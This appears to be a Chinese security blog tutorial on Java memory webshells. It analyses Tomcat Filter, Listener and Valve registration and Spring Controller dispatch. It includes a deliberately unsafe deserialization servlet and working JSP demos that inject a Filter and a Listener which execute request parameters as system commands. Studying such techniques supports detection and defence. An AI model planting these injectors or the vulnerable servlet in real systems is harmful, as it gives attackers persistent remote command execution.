1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
然后准备一个反序列化的 Servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.servlet;import java.io.*;import java.util.Base64;import javax.servlet.http.*;public class SerServlet extends HttpServlet { public void init () { } public void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { byte [] code = Base64.getDecoder().decode(request.getParameter("data" )); ObjectInputStream input = new ObjectInputStream (new ByteArrayInputStream (code)); try { input.readObject(); } catch (ClassNotFoundException e) { throw new RuntimeException (e); } } public void destroy () { } }
最后成功注入:
Tomcat Filter 型内存马 同理,我们要先分析 Filter 的注册流程
流程分析 搭建环境,创建一个 TestFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.filter;import javax.servlet.*;import java.io.IOException;public class TestFilter implements Filter { public void init (FilterConfig filterConfig) { System.out.println("[*] Filter初始化创建" ); } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("[*] Filter执行过滤操作" ); filterChain.doFilter(servletRequest, servletResponse); } public void destroy () { System.out.println("[*] Filter已销毁" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" > <filter> <filter-name>TestFilter</filter-name> <filter-class>com.filter.TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/test</url-pattern> </filter-mapping> </web-app>
在 doFilter 下断点:
跟进,发现调 internalDoFilter
继续跟进:
从 filters 数组 中获取 **filterConfig , **又从 filterConfig 中获取 FilterDef
( 这里能看出所有的 filter 应该都是存放在一个数组中的 , 当上一个 filter 调用到这个方法时 , 数组下标会 ++ . 这样当再次调用到这个方法时 , 就会调用下一个 filter 了 )
我们可以看堆栈来分析这些东西都是怎么来的,向上回溯到 org.apache.catalina.core.StandardWrapperValve #invoke:
会看到有这样一行:
1 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
可以跟进一下看看具体做了什么:
1 2 StandardContext context = (StandardContext) wrapper.getParent();FilterMap filterMaps[] = context.findFilterMaps();
首先获取了 standardContext , 然后调用它的 findFilterMaps 方法 , 拿到了一个 FilterMaps 数组
FilterMap 存储的是所有 filter 的映射信息:
然后如果 FilterMaps 没有东西的话就直接返回整个 chain了:
1 2 3 if (filterMaps == null || filterMaps.length == 0 ) { return filterChain; }
有东西的话继续:
for 循环遍历 filtermap , 找到匹配的 filtermap 之后获取 filter 的 name , 然后去 standardContext 中查找这个 filter 的配置信息 , 最后将 filter 添加到 filterchain 中 :
大致流程如下,这里引用别人的图:
现在我们终于找到了最终添加 filter 的地方 , 不过我们不能直接调这里的 addFilter 方法去添加我们的 filter 内存马
因为每一次请求都会调用 createFilterChain 去新建一个 filterChain , 如果我们在这里添加 , 只会添加到当前的请求中 , 下一次请求不会生效
所以我们应该看 filterMaps , 因为每一次 filterChain 的创建都是调用 standardContext 的 findFilterMaps 方法去 filterMaps 中获取的 filter
看一下 filterMaps 是怎么赋值的:
看到有个 standardContext 有个 addFilterMap 方法 , standardContext 我们是可以拿到的
所以我们可以自己 new 一个 FilterMap 数组,设置好值(filterName,urlPatterns,dispatcherMapping)之后调用 standardContext 的 addFilterMapBefore 方法将它添加到数组中
然后还没结束,后面会去获取 filterConfig,如果为空就不会 addFilter:
111 行跟进看看是怎么获取配置的:
这个 filterConfigs 是个 HashMap:
看一下哪里会给它赋值:
有个地方调用了 put 方法,应该就是我们要的,跟进看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public boolean filterStart () { if (getLogger().isTraceEnabled()) { getLogger().trace("Starting filters" ); } boolean ok = true ; synchronized (filterDefs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isTraceEnabled()) { getLogger().trace(" Starting filter '" + name + "'" ); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig (this , entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(throwable); getLogger().error(sm.getString("standardContext.filterStart" , name), throwable); ok = false ; } } } return ok; }
这里从 filterDefs 中获取所有键值对 , 然后用它们创建 filterConfig 并 put 到 filterConfigs 中
这里就把我们要做的做了,所以我们只要在 filterDefs 里面把配置信息都弄好,然后调用这个 filterStart 即可
下一步就是看 filterDefs 了 , filterDefs 也是个 hashmap :
发现只有一个地方调用了 put,org.apache.catalina.core.StandardContext #addFilterDef
1 2 3 4 5 6 7 8 9 @Override public void addFilterDef (FilterDef filterDef) {synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef" , filterDef); }
总结一下赋值流程 :
1 2 StandardContext.addFilterDef() -> filterDefs -> filterConfigs (配置 filter 类的信息) StandardContext.addFilterMap() -> filterMaps (主要是映射相关)
Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.*" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.io.*" %> <%@ page import ="java.util.Scanner" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigsField.setAccessible(true ); Map filterConfigs = (Map) filterConfigsField.get(standardContext); String filterName = "filter" ; if (filterConfigs.get(filterName) == null ) { Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) { } @Override public void destroy () { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest; String cmd = httpServletRequest.getParameter("cmd" ); { InputStream in = Runtime.getRuntime().exec(new String []{"cmd" , "/c" , cmd}).getInputStream(); Scanner s = new Scanner (in, "GBK" ).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.setCharacterEncoding("GBK" ); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } filterChain.doFilter(servletRequest, servletResponse); } }; FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("/*" ); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); standardContext.filterStart(); } %>
Tomcat Listener 内存马 流程分析 示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import java.io.IOException;public class TestListener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent servletRequestEvent) { if (servletRequestEvent.getServletRequest().getParameter("cmd" ) != null ) try { Runtime.getRuntime().exec(servletRequestEvent.getServletRequest().getParameter("cmd" )); } catch (IOException e) { throw new RuntimeException (e); } } }
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" > <listener> <listener-class>com.listener.TestListener</listener-class> </listener> </web-app>
在 requestInitialized 下断点,看上一帧是什么:
这里的 listener 就是我们的 TestListener,我们追踪一下它是怎么来的,这样就知道我们该往哪里赋值了
就在上面几行:
1 ServletRequestListener listener = (ServletRequestListener) instance;
继续向上跟这个 instance:
跟 instances 数组:
跟进 getApplicationEventListeners 看看:
所以我们只要往这个 list 里面放入我们的 listener 就可以了
找赋值函数:
依旧是 standardContext , 直接新建一个 Listener 然后赋值即可
Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <%@ page import ="java.lang.reflect.*" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.io.*" %> <%! public class ShellListener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter("rce" ); if (cmd != null ) try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException (e); } } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); standardContext.addApplicationEventListener(new ShellListener ()); out.println("inject success" ); %>
Tomcat Valve 内存马 Valve 及 Pipeline 概念 这里直接引用别人的文章
之前我们在前面介绍过,tomcat中Container
有4种,分别是Engine
,Host
,Context
,Wrapper
,这4个Container
的实现类分别是StandardEngine
,StandardHost
,StandardContext
,StandardWrapper
。4种容器的关系是包含关系,Engine
包含Host
,Host
包含Context
,Context
包含Wrapper
,Wrapper
则代表最基础的一个Servlet
。
tomcat由Connector
和Container
两部分组成,而当网络请求过来的时候Connector
先将请求包装为Request
,然后将Request
交由Container
进行处理,最终返回给请求方。而Container
处理的第一层就是Engine
容器,但是在tomcat中Engine
容器不会直接调用Host
容器去处理请求,那么请求是怎么在4个容器中流转的,4个容器之间是怎么依次调用的,我们今天来讲解下。
当请求到达Engine
容器的时候,Engine
并非是直接调用对应的Host
去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline
组件,跟pipeline
相关的还有个也是容器内部的组件,叫做valve
组件。
Pipeline
的作用就如其中文意思一样管道,可以把不同容器想象成一个独立的个体,那么pipeline
就可以理解为不同容器之间的管道,道路,桥梁。那Valve
这个组件是什么东西呢?Valve
也可以直接按照字面意思去理解为阀门。pipeline
是通道,valve
是阀门,他们两有什么关系呢?
就像上图那样,每个管道上面都有阀门,Pipeline
和Valve
关系也是一样的。Valve
代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。如果把Pipeline
比作公路的话,那么Valve
可以理解为公路上的收费站,车代表Pipeline
中的内容,那么每个收费站都会对其中的内容做一些处理(收费,查证件等)。
好了举例说完了,我们继续回归tomcat。在Catalina
中,我们有4种容器,每个容器都有自己的Pipeline
组件,每个Pipeline
组件上至少会设定一个Valve
(阀门),这个Valve
我们称之为BaseValve
(基础阀)。基础阀的作用是连接当前容器的下一个容器(通常是自己的自容器),可以说基础阀是两个容器之间的桥梁。
Pipeline
定义对应的接口Pipeline
,标准实现了StandardPipeline
。Valve
定义对应的接口Valve
,抽象实现类ValveBase
,4个容器对应基础阀门分别是StandardEngineValve
,StandardHostValve
,StandardContextValve
,StandardWrapperValve
。在实际运行中Pipeline
,Valve
运行机制如下图。
在单个容器中Pipeline,Valve运行图
Catalina中Pipeline,Valve运行图
可以看到在同一个Pipeline
上可以有多个Valve
,每个Valve
都可以做一些操作,无论是Pipeline
还是Valve
操作的都是Request
和Response
。而在容器之间Pipeline
和Valve
则起到了桥梁的作用,那么具体内部原理是什么,我们开始查看源码。
可以看到在同一个Pipeline
上可以有多个Valve
,每个Valve
都可以做一些操作,无论是Pipeline
还是Valve
操作的都是Request
和Response
。而在容器之间Pipeline
和Valve
则起到了桥梁的作用,那么具体内部原理是什么,我们开始查看源码。
Valve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public interface Valve { public String getInfo () ; public Valve getNext () ; public void setNext (Valve valve ) ; public void backgroundProcess () ; public void invoke (Request request, Response response ) throws IOException, ServletException ; public void event (Request request, Response response, CometEvent event ) throws IOException,ServletException ; public boolean isAsyncSupported () ; }
先看Valve
接口的方法定义,方法不是很多,这里只介绍setNext()
,getNext()
。在上面我们也看到了一个Pipeline
上面可以有很多Valve
,这些Valve
存放的方式并非统一存放在Pipeline
中,而是像一个链表一个接着一个。当你获取到一个Valve
实例的时候,调用getNext()
方法即可获取在这个Pipeline
上的下个Valve
实例。
Pipeline
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public interface Pipeline { public Valve getBasic () ; public void setBasic (Valve valve ) ; public void addValve (Valve valve ) ; public Valve[] getValves () ; public void removeValve (Valve valve ) ; public Valve getFirst () ; public boolean isAsyncSupported () ; public Container getContainer () ; public void setContainer (Container container ) ; }
可以看出Pipeline
中很多的方法都是操作Valve
的,包括获取,设置,移除Valve
,getFirst()
返回的是Pipeline
上的第一个Valve
,而getBasic()
,setBasic()
则是获取/设置基础阀,我们都知道在Pipeline
中,每个pipeline
至少都有一个阀门,叫做基础阀,而getBasic()
,setBasic()
则是操作基础阀的。
StandardPipeline
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 public class StandardPipeline extends LifecycleBase implements Pipeline , Contained {private static final Log log = LogFactory.getLog(StandardPipeline.class);public StandardPipeline () { this (null ); } public StandardPipeline (Container container) { super (); setContainer(container); } protected Valve basic = null ;protected Container container = null ;protected static final String info = "org.apache.catalina.core.StandardPipeline/1.0" ;protected Valve first = null ;@Override protected synchronized void startInternal () throws LifecycleException { Valve current = first; if (current == null ) { current = basic; } while (current != null ) { if (current instanceof Lifecycle) ((Lifecycle) current).start(); current = current.getNext(); } setState(LifecycleState.STARTING); } @Override public void setBasic (Valve valve) { Valve oldBasic = this .basic; if (oldBasic == valve) return ; if (oldBasic != null ) { if (getState().isAvailable() && (oldBasic instanceof Lifecycle)) { try { ((Lifecycle) oldBasic).stop(); } catch (LifecycleException e) { log.error("StandardPipeline.setBasic: stop" , e); } } if (oldBasic instanceof Contained) { try { ((Contained) oldBasic).setContainer(null ); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); } } } if (valve == null ) return ; if (valve instanceof Contained) { ((Contained) valve).setContainer(this .container); } if (getState().isAvailable() && valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error("StandardPipeline.setBasic: start" , e); return ; } } Valve current = first; while (current != null ) { if (current.getNext() == oldBasic) { current.setNext(valve); break ; } current = current.getNext(); } this .basic = valve; } @Override public void addValve (Valve valve) { if (valve instanceof Contained) ((Contained) valve).setContainer(this .container); if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error("StandardPipeline.addValve: start: " , e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); } @Override public Valve[] getValves() { ArrayList<Valve> valveList = new ArrayList <Valve>(); Valve current = first; if (current == null ) { current = basic; } while (current != null ) { valveList.add(current); current = current.getNext(); } return valveList.toArray(new Valve [0 ]); } @Override public void removeValve (Valve valve) { Valve current; if (first == valve) { first = first.getNext(); current = null ; } else { current = first; } while (current != null ) { if (current.getNext() == valve) { current.setNext(valve.getNext()); break ; } current = current.getNext(); } if (first == basic) first = null ; if (valve instanceof Contained) ((Contained) valve).setContainer(null ); if (valve instanceof Lifecycle) { if (getState().isAvailable()) { try { ((Lifecycle) valve).stop(); } catch (LifecycleException e) { log.error("StandardPipeline.removeValve: stop: " , e); } } try { ((Lifecycle) valve).destroy(); } catch (LifecycleException e) { log.error("StandardPipeline.removeValve: destroy: " , e); } } container.fireContainerEvent(Container.REMOVE_VALVE_EVENT, valve); } @Override public Valve getFirst () { if (first != null ) { return first; } return basic; } }
在StandardPipeline
标准实现类中我们看到了对Pipeline
接口的实现,这里选了几个比较重要的方法做源码的解析。
方法1是startInternal()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @Override protected synchronized void startInternal () throws LifecycleException { Valve current = first; if (current == null ) { current = basic; } while (current != null ) { if (current instanceof Lifecycle) ((Lifecycle) current).start(); current = current.getNext(); } setState(LifecycleState.STARTING); }
组件的start()
方法,将first
(第一个阀门)赋值给current
变量,如果current
为空,就将basic
(也就是基础阀)赋值给current
, 接下来如果是一个标准的遍历单向链表,调用每个对象的start()
方法,最后将组件(pipeline
)状态设置为STARTING
(启动中)。
方法2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 @Override public void setBasic (Valve valve) {Valve oldBasic = this .basic;if (oldBasic == valve) return ; if (oldBasic != null ) { if (getState().isAvailable() && (oldBasic instanceof Lifecycle)) { try { ((Lifecycle) oldBasic).stop(); } catch (LifecycleException e) { log.error("StandardPipeline.setBasic: stop" , e); } } if (oldBasic instanceof Contained) { try { ((Contained) oldBasic).setContainer(null ); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); } } } if (valve == null ) return ; if (valve instanceof Contained) { ((Contained) valve).setContainer(this .container); } if (getState().isAvailable() && valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error("StandardPipeline.setBasic: start" , e); return ; } } Valve current = first;while (current != null ) { if (current.getNext() == oldBasic) { current.setNext(valve); break ; } current = current.getNext(); } this .basic = valve;}
方法2是用来设置基础阀的方法,这个方法在每个容器的构造函数中调用,代码逻辑也比较简单,稍微注意的地方就是阀门链表的遍历。
方法3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 @Override public void addValve (Valve valve) { if (valve instanceof Contained) ((Contained) valve).setContainer(this .container); if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error("StandardPipeline.addValve: start: " , e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); }
这方法是像容器中添加Valve
,在server.xml
解析的时候也会调用该方法,具体代码可以到Digester
相关的文章中寻找。
方法4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @Override public Valve[] getValves () { ArrayList<Valve> valveList = new ArrayList<Valve>(); Valve current = first; if (current == null ) { current = basic; } while (current != null ) { valveList.add (current); current = current.getNext(); } return valveList.toArray(new Valve[0 ]); }
获取所有的阀门,其实就是将阀门链表添加到一个集合内,最后转成数组返回。
方法5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 @Override public void removeValve (Valve valve ) { Valve current; if (first == valve) { first = first.getNext (); current = null ; } else { current = first; } while (current != null ) { if (current.getNext () == valve) { current.setNext (valve.getNext ()); break ; } current = current.getNext (); } if (first == basic) first = null ; if (valve instanceof Contained ) ((Contained ) valve).setContainer (null ); if (valve instanceof Lifecycle ) { if (getState ().isAvailable ()) { try { ((Lifecycle ) valve).stop (); } catch (LifecycleException e) { log.error ("StandardPipeline.removeValve: stop: " , e); } } try { ((Lifecycle ) valve).destroy (); } catch (LifecycleException e) { log.error ("StandardPipeline.removeValve: destroy: " , e); } } container.fireContainerEvent (Container .REMOVE_VALVE_EVENT , valve); }
方法666666
1 2 3 4 5 6 7 8 9 @Override public Valve getFirst() { if (first != null ) { return first; } return basic; }
在方法5中我们也看到了,first
指向的是容器第一个非基础阀门的阀门,从方法6中也可以看出来,first
在只有一个基础阀的时候并不会指向基础阀,因为如果指向基础阀的话就不需要判断非空然后返回基础阀了,这是个需要注意的点
这里由于我们是注入内存马 , 所以只要关注 addValve 方法即可
那么我们怎么动态添加一个 Valve 呢?
随便在一个 Servlet 的方法下断点 , 会发现调用栈里面有很多 invoke 方法 :
这里就是从 standardContext 中获取 pipeline , 然后获取 valve 并调用它的 invoke 方法
既然这样那我们从 standardContext 中获取 pipeline , 然后调用 addValve 就可以了
Demo
Spring Controller 内存马 流程分析 我们知道在 Spring 中 , Controller 是负责对特定路由的请求进行处理的组件 , 所以我们想要在 Spring 环境中注入内存马就是要动态注册 Controller
先写个测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 package com.controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController public class TestController { @RequestMapping("/test") public String test () { return "test" ; } }
在 test() 下断点,开始调试
跟踪堆栈回溯到 org.springframework.web.servlet.DispatcherServlet #doService
DispatcherServlet 负责将请求分发给其他组件,是整个 Spring MVC 流程的核心 , 后续就会找到对应的 Controller 进行处理 , 所以我们以他为起点去分析 Controller 是怎么来的 :
首先第一行是 记录请求的日志 , 不重要
然后判断当前请求是否是 请求包含 ,如果是的话会创建一个快照,记录当前请求中的属性
这个目的是:在处理 include 请求时保存原始请求属性状态,以便在 include 完成后能够恢复原始环境 。
不重要 , 继续:
这里是将 Spring 的核心组件添加到 当前 HTTP 请求的上下文 中
Spring 中有 九大组件:
DispatcherServlet (派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping (处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter (处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor (处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller (控制器):处理用户请求并返回适当的模型和视图;
ModelAndView (模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver (视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver (区域解析器):处理区域信息,用于国际化;
ThemeResolver (主题解析器):用于解析Web应用的主题,实现界面主题的切换。
接着看:
这段代码是 Spring MVC 中处理 Flash Map 的逻辑,主要用于在重定向(redirect)场景下保持请求之间的数据传递
举一个例子,一个人完成了注册,需要重定向到登录页面:
1 2 3 4 5 6 7 8 9 @PostMapping("/create-user") public String createUser (@RequestParam String username, RedirectAttributes redirectAttrs) { ...... redirectAttrs.addFlashAttribute("message" , "User created successfully!" ); return "redirect:/login" ; }
不重要 , 接着看:
这段代码的主要目的是为当前请求准备标准化的路径信息 ,使其在整个请求处理过程中可以被一致地访问和使用,同时保存原始状态以便后续恢复 , 也不重要
接下来调用了 doDispatch(request, response); 这里就是分发请求的具体逻辑了 , 重要 , 跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 @SuppressWarnings("deprecation") protected void doDispatch (HttpServletRequest request, HttpServletResponse response) throws Exception { HttpServletRequest processedRequest = request; HandlerExecutionChain mappedHandler = null ; boolean multipartRequestParsed = false ; WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request); try { ModelAndView mv = null ; Exception dispatchException = null ; try { processedRequest = checkMultipart(request); multipartRequestParsed = (processedRequest != request); mappedHandler = getHandler(processedRequest); if (mappedHandler == null ) { noHandlerFound(processedRequest, response); return ; } HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); String method = request.getMethod(); boolean isGet = HttpMethod.GET.matches(method); if (isGet || HttpMethod.HEAD.matches(method)) { long lastModified = ha.getLastModified(request, mappedHandler.getHandler()); if (new ServletWebRequest (request, response).checkNotModified(lastModified) && isGet) { return ; } } if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; } mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); if (asyncManager.isConcurrentHandlingStarted()) { return ; } applyDefaultViewName(processedRequest, mv); mappedHandler.applyPostHandle(processedRequest, response, mv); } catch (Exception ex) { dispatchException = ex; } catch (Throwable err) { dispatchException = new NestedServletException ("Handler dispatch failed" , err); } processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException); } catch (Exception ex) { triggerAfterCompletion(processedRequest, response, mappedHandler, ex); } catch (Throwable err) { triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException ("Handler processing failed" , err)); } finally { if (asyncManager.isConcurrentHandlingStarted()) { if (mappedHandler != null ) { mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response); } } else { if (multipartRequestParsed) { cleanupMultipart(processedRequest); } } } }
该方法是 Spring MVC 的核心请求处理流程,主要功能包括:
请求预处理 :检查并解析multipart请求。
获取处理器 :通过HandlerMapping
找到匹配的处理器。
获取适配器 :通过HandlerAdapter
执行处理器。
执行拦截器 :应用前置和后置拦截逻辑。
调用处理器 :实际执行Controller方法。
异常处理 :捕获并处理执行过程中的异常。
视图渲染 :根据返回的ModelAndView
渲染视图。
资源清理 :最后清理multipart资源或触发异步处理。
由于我们现在关心的是 Contoller 是怎么来的 , 所以重点放在第 2 条
它通过当前请求获取对应的 HandlerExecutionChain
, 里面就有对应的 handler , handler 就指向我们的 Controller , 也就是说这里已经处理完了从请求映射到对应 Controller 的逻辑
跟进看看具体是怎么拿到的 :
这里遍历了 handlerMappings 这个列表 , 调用 getHandler 方法获取 handler 然后返回
可以看到这个 handlerMappings 里面有很多 mapping , 我们并不知道会调用哪个
在这里重新下个断点 , 当获取到的 handler 不为 null 时 , mapping 对应的是 RequestMappingHandlerMapping
跟进这个类 , 会发现它并没有 getHandler 方法 , 向上去看他的父类 , 也没有
最后一直跟到 org.springframework.web.servlet.handler.AbstractHandlerMapping #getHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 @Override @Nullable public final HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { Object handler = getHandlerInternal(request); if (handler == null ) { handler = getDefaultHandler(); } if (handler == null ) { return null ; } if (handler instanceof String) { String handlerName = (String) handler; handler = obtainApplicationContext().getBean(handlerName); } if (!ServletRequestPathUtils.hasCachedPath(request)) { initLookupPath(request); } HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request); if (logger.isTraceEnabled()) { logger.trace("Mapped to " + handler); } else if (logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) { logger.debug("Mapped to " + executionChain.getHandler()); } if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) { CorsConfiguration config = getCorsConfiguration(handler, request); if (getCorsConfigurationSource() != null ) { CorsConfiguration globalConfig = getCorsConfigurationSource().getCorsConfiguration(request); config = (globalConfig != null ? globalConfig.combine(config) : config); } if (config != null ) { config.validateAllowCredentials(); } executionChain = getCorsHandlerExecutionChain(request, executionChain, config); } return executionChain; }
重新下个断点继续调 :
这里发现第一行已经获取到了 handler 了 , 所以跟进看看 , 中间经过几个重载之后到达 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping #getHandlerInternal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Override @Nullable protected HandlerMethod getHandlerInternal (HttpServletRequest request) throws Exception { String lookupPath = initLookupPath(request); this .mappingRegistry.acquireReadLock(); try { HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request); return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null ); } finally { this .mappingRegistry.releaseReadLock(); } }
这里重点在于 lookupHandlerMethod(lookupPath, request)
, 作用是根据请求以及请求路径来找对应的 handler , 跟进 :
这里从 mappingRegistry 中获取 请求路径对应的 mapping
